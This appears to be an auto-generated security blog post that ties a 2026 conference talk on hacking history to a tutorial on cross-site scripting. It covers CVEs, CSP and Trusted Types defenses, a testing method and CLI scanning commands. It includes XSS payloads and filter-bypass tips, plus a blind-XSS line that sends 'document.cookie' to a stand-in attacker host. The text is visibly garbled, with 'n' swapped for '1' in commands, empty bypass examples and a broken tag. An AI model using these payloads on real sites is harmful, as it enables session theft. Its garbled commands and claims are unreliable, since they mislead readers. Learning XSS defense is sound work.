Scientific Hooliganism Returns: The Evolution of Cross-Site Scripting from 3000 Years of Hacking History to Modern Web Exploitation + Video

Listen to this Post

Featured Image

Introduction:

At Hack Glasgow 2026—held at the iconic Citizens Theatre on 15th August 2026—Principal Security Researcher Liam Follin ChCSP debuted his highly anticipated talk “Scientific Hooliganism: The History of Hacking,” tracing an extraordinary 3,000-year arc of hacking history with a dedicated two-hour deep-dive into Cross-Site Scripting (XSS). While XSS may seem like a relic of the early web, recent CVEs—including CVE-2026-64638 (WordPress XSS2Shell, CVSS 8.9), CVE-2026-54527 (jupyterlab-git stored XSS leading to RCE), and CVE-2025-27915 (Zimbra zero-day exploited against Brazilian military)—demonstrate that this 3,000-year-old problem remains one of cybersecurity’s most persistent and devastating attack vectors.

Learning Objectives:

  • Understand the three primary XSS variants—reflected, stored, and DOM-based—and their modern exploitation techniques
  • Master defensive strategies including Content Security Policy (CSP), Trusted Types, and contextual output encoding
  • Learn practical detection, mitigation, and command-line testing methodologies for web application security

You Should Know:

  1. The Trinity of XSS: Reflected, Stored, and DOM-Based Attacks

Cross-Site Scripting (CWE-79) occurs when untrusted data is executed as code in a victim’s browser. The three primary variants each demand distinct defensive approaches:

Reflected XSS occurs when user input from a request (typically a URL parameter) is echoed back into the page’s HTML without proper encoding. A vulnerable search page might render: echo "<p>You searched for " . $_GET['q'] . "</p>"—allowing an attacker to craft https://victim.com/search?q=<script>alert(document.cookie)</script>.

Stored XSS persists in the application’s database, affecting every user who views the compromised data. The 2026 Appsmith vulnerability (CERT/CC VU265691) demonstrates stored XSS in the CodeMirror SQL query editor’s autocomplete renderer, enabling session hijacking and credential theft for any workspace member triggering autocomplete. Similarly, CVE-2026-54527 allows adversaries to create files with crafted JavaScript payloads (e.g., <img src=x onerror=eval(atob("base64_payload"))>.py) in JupyterLab, leading to remote code execution.

DOM-based XSS executes entirely client-side, manipulating the Document Object Model without server interaction. The Trusted Types API, now baseline-supported since February 2026, specifically targets this class by forcing DOM XSS sink functions (like Element.innerHTML) to accept only non-spoofable typed values.

  1. Modern XSS Threat Landscape: AI Weaponization and Zero-Day Exploitation

The XSS threat landscape has evolved dramatically in 2025–2026. Security researchers have documented AI Agent Weaponization and Prompt-to-XSS techniques, where large language models are manipulated to generate and deliver XSS payloads. Polymorphic and AI-generated payloads now automatically mutate to bypass signature-based detection, while advanced CSP bypass techniques exploit nonce leakage via CSS and browser cache.

Real-world exploitation remains aggressive. In 2025, threat actors exploited CVE-2025-27915—a stored XSS flaw in Zimbra Collaboration Suite (versions 9.0–10.1) caused by improper HTML sanitization in ICS files—as a zero-day against the Brazilian Armed Forces. Attackers delivered malicious JavaScript payloads via spoofed iCalendar files from the Libyan Navy’s Office of Protocol, enabling credential theft and email redirection. The WordPress XSS2Shell vulnerability (CVE-2026-64638) affecting the authentication page, rated CVSS 8.9, and the pretalx stored XSS allowing admin demotion via image tags in submission titles further underscore XSS’s continued relevance.

3. Defense-in-Depth: Content Security Policy and Trusted Types

Modern XSS prevention requires layered defenses. Content Security Policy (CSP) remains foundational, instructing browsers to restrict resource loading and script execution. A strict CSP implementation combines:

Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'; object-src 'none'; base-uri 'self';

The `require-trusted-types-for` directive forces DOM XSS sink functions (e.g., Element.innerHTML) to accept only typed values created by Trusted Type policies, rejecting raw strings. The `trusted-types` directive restricts known DOM XSS sinks to accept only non-spoofable typed values from predefined functions.

Implementation Example (Trusted Types Policy):

// Create a Trusted Types policy
if (window.trustedTypes && trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// Sanitize input before returning
return DOMPurify.sanitize(input);
}
});
// Use the policy
element.innerHTML = policy.createHTML(userInput);
}
  1. OWASP Contextual Output Encoding: The Developer’s First Line of Defense

The OWASP Cheat Sheet Series provides the definitive guidance: Never insert untrusted data except in allowed locations. Contextual output encoding—performed at the last moment before untrusted data is dynamically added to HTML—is crucial. Four encoding contexts must be addressed:

  • HTML Entity Encoding: Encode &, <, >, ", ', `/`
    – HTML Attribute Encoding: Encode all characters with `&xHH;` format
  • JavaScript Encoding: Encode all characters using `\xHH` format
  • URL Encoding: Encode all characters with `%HH` format

Critical Warning: Do not place variables into dangerous contexts (such as innerHTML, document.write, or event handlers) as output encoding alone will not fully prevent XSS. For dynamic HTML updates, OWASP recommends HTML encoding followed by JavaScript encoding of all untrusted input.

5. Practical XSS Detection and Testing Methodology

For authorized penetration testing and bug bounty hunting, systematic XSS detection follows a proven methodology:

Step 1: Identify Input Vectors

Map all user-controllable inputs: URL parameters, form fields, HTTP headers, cookies, and file uploads.

Step 2: Basic Payload Injection

Test with simple payloads to confirm execution:

<script>alert(1)</script>
<img src=x onerror=alert(1)>

<

svg onload=alert(1)>

Step 3: Bypass Techniques

When filters block basic payloads, employ proven bypasses:

  • Case variation: ``
    – Tag nesting: `ipt>alert(1)`
    – Template literals: <script>alert1</script>
  • Unicode escapes: `\u0061lert(1)`
    – Double encoding and backtick obfuscation

Step 4: Advanced Exploitation

For blind XSS, use payloads that callback to an external server:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Use Burp Intruder with PortSwigger’s XSS cheat sheet to brute-force allowed tags and attributes.

6. Linux and Windows Command-Line Security Testing Tools

Linux (Kali/Parrot):

 Quick XSS scan with Nikto
nikto -h https://target.com -Tuning 4

Advanced fuzzing with ffuf
ffuf -u https://target.com/search?q=FUZZ -w xss-payloads.txt -mr "alert"

Intercept and modify requests with Burp Suite CLI
java -jar burp.jar

XSS detection with Arachni
arachni https://target.com --scope-page-limit=100 --checks=xss

Manual testing with curl
curl "https://target.com/search?q=<script>alert(1)</script>" -H "User-Agent: <script>alert(1)</script>"

Windows (PowerShell):

 Test reflected XSS via Invoke-WebRequest
Invoke-WebRequest -Uri "https://target.com/search?q=<script>alert(1)</script>" -UseBasicParsing

Fuzz endpoints with multiple payloads
$payloads = Get-Content .\xss-payloads.txt
foreach ($p in $payloads) {
Invoke-WebRequest -Uri "https://target.com/search?q=$p" -UseBasicParsing
}

Check response headers for CSP
(Invoke-WebRequest -Uri "https://target.com").Headers["Content-Security-Policy"]

7. Cloud Hardening and API Security Against XSS

Modern cloud-1ative and API-first architectures introduce unique XSS vectors. For API security, ensure:

  • All API responses include `Content-Type: application/json` to prevent content sniffing
  • Implement strict input validation using schema validation (e.g., JSON Schema, OpenAPI)
  • Sanitize all user-generated content before storage or rendering

For cloud workloads, implement:

 AWS WAF XSS rule configuration (CLI)
aws wafv2 update-web-acl --1ame MyWebACL --scope REGIONAL --id acl-id \
--default-action Allow={} \
--rules file://xss-rules.json

Azure Application Gateway WAF policy
az network application-gateway waf-policy managed-rule-set add \
--policy-1ame MyWAFPolicy --resource-group MyRG \
--type Microsoft_DefaultRuleSet --version 2.1 \
--rule-group-1ame xss

What Undercode Say:

  • XSS is not a legacy vulnerability—2025–2026 CVEs across WordPress (CVE-2026-64638, CVSS 8.9), Zimbra (CVE-2025-27915, zero-day against military targets), and JupyterLab (CVE-2026-54527, stored XSS→RCE) prove its modern relevance
  • Defense-in-depth is non-1egotiable—CSP alone is insufficient; Trusted Types, contextual encoding, and sanitization libraries like DOMPurify must work in concert
  • The AI threat is real—polymorphic, AI-generated payloads and prompt-to-XSS attacks demand adaptive, behavior-based detection
  • Zero-day exploitation is accelerating—the Zimbra zero-day targeting Brazilian military demonstrates sophisticated nation-state XSS exploitation
  • 3,000 years of hacking history—as Liam Follin ChCSP’s “Scientific Hooliganism” illustrates, the fundamental pattern of trust exploitation transcends technology

Prediction:

  • +1 XSS will remain a top-3 OWASP risk through 2028, with AI-generated polymorphic payloads rendering signature-based WAF rules increasingly ineffective
  • +1 Trusted Types adoption will accelerate following February 2026 baseline browser support, reducing DOM-based XSS by an estimated 60–70% in compliant applications
  • -1 The weaponization of LLMs for automated XSS payload generation and CSP bypass discovery will lower the barrier to entry for sophisticated XSS attacks
  • +1 Regulatory frameworks (GDPR, DORA, NIS2) will mandate demonstrable XSS prevention measures, driving enterprise adoption of CSP and Trusted Types
  • -1 Supply chain XSS attacks—exploiting third-party libraries and CDN compromises—will increase as attackers target indirect dependencies
  • +1 The “Scientific Hooliganism” narrative will inspire a new generation of security researchers to study attack history, fostering more resilient defensive mindsets

▶️ Related Video (72% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/e3mijbQe – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky